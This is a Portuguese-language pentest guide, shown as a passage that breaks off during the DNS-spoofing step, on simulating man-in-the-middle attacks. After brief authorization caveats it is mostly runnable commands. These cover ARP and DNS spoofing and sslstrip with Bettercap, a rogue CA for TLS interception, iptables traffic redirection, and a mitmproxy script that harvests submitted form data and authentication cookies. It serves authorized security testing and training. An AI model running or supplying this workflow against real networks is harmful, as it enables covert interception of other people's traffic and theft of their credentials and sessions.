Simulando Ataques Man-in-the-Middle

Quando Usar

• Testar se aplicativos validam corretamente certificados TLS e aplicam comunicações criptografadas
• Demonstrar o risco de protocolos em texto claro (HTTP, FTP, Telnet, SMTP) para os stakeholders da organização
• Validar se HSTS, "certificate pinning" e outros controles anti-MITM estão implementados corretamente
• Avaliar as capacidades de detecção de rede para ataques de ARP spoofing, DHCP spoofing e DNS spoofing
• Treinar equipes de resposta a incidentes para identificar e responder a indicadores de ataque MITM

Não use em redes de produção sem autorização escrita explícita e um plano de reversão, contra sistemas que você não possui ou tem permissão para testar, ou para interceptar comunicações de terceiros não envolvidos.

Pré-requisitos

• Autorização escrita especificando os alvos no escopo e as técnicas MITM aprovadas
• Bettercap 2.x, Ettercap e mitmproxy instalados na máquina do atacante
• Acesso de Camada 2 ao mesmo segmento de rede dos hosts alvo
• Certificado CA personalizado para testes de interceptação TLS (gerado especificamente para o engajamento)
• Wireshark ou tshark para capturar e verificar o tráfego interceptado
• Ambiente de laboratório isolado ou janela de teste de produção aprovada com procedimentos de reversão

Fluxo de Trabalho

Etapa 1: Configurar o Ambiente de Ataque

# Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1
sudo sysctl -w net.ipv6.conf.all.forwarding=1

# Disable ICMP redirects
sudo sysctl -w net.ipv4.conf.all.send_redirects=0

# Generate a CA certificate for TLS interception
openssl genrsa -out mitm-ca.key 4096
openssl req -new -x509 -days 30 -key mitm-ca.key -out mitm-ca.crt \
  -subj "/CN=MITM Test CA/O=Security Assessment/C=US"

# Discover hosts on the target network
sudo bettercap -iface eth0 -eval "net.probe on; sleep 10; net.show; quit"

Etapa 2: Executar MITM Baseado em ARP com Bettercap

# Start Bettercap with interactive mode
sudo bettercap -iface eth0

# Enable network probing to discover hosts
> net.probe on

# Display discovered hosts
> net.show

# Set target (victim: 192.168.1.50, gateway: 192.168.1.1)
> set arp.spoof.targets 192.168.1.50
> set arp.spoof.fullduplex true

# Start ARP spoofing
> arp.spoof on

# Enable HTTP proxy for traffic inspection
> set http.proxy.sslstrip true
> http.proxy on

# Enable HTTPS proxy with certificate interception
> set https.proxy.certificate mitm-ca.crt
> set https.proxy.key mitm-ca.key
> https.proxy on

# Enable DNS spoofing for specific domains
> set dns.spoof.domains example.com,*.example.com
> set dns.spoof.address 192.168.1.99
> dns.spoof on

# Enable credential sniffer
> set net.sniff.verbose true
> set net.sniff.filter "tcp port 80 or tcp port 21 or tcp port 110"
> net.sniff on

Etapa 3: Interceptar Tráfego HTTP/HTTPS com mitmproxy

# Start mitmproxy as transparent proxy
sudo mitmproxy --mode transparent --set confdir=~/.mitmproxy \
  --set ssl_insecure=true -w mitm_capture.flow

# Configure iptables to redirect traffic through mitmproxy
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080

# Use mitmproxy scripting for automated credential extraction
cat > extract_creds.py << 'PYEOF'
"""mitmproxy script to extract credentials from intercepted traffic."""
from mitmproxy import http
import json

def request(flow: http.HTTPFlow):
    if flow.request.method == "POST":
        content_type = flow.request.headers.get("content-type", "")
        if "form" in content_type or "json" in content_type:
            with open("captured_forms.log", "a") as f:
                f.write(f"URL: {flow.request.pretty_url}\n")
                f.write(f"Data: {flow.request.get_text()}\n")
                f.write("---\n")

def response(flow: http.HTTPFlow):
    # Log authentication cookies
    if "set-cookie" in flow.response.headers:
        with open("captured_cookies.log", "a") as f:
            f.write(f"URL: {flow.request.pretty_url}\n")
            f.write(f"Cookie: {flow.response.headers['set-cookie']}\n")
            f.write("---\n")
PYEOF

sudo mitmproxy --mode transparent -s extract_creds.py -w mitm_capture.flow

Etapa 4: Realizar Ataques de DNS Spoofing e DHCP

# DNS spoofing com Ettercap
sudo tee /etc/ettercap/etter.dns << 'EOF'
# Redirecionar domínio alvo para o servidor web do atacante
example.com      A   192.168.1.99
*.example.com    A   192.168.1.99

…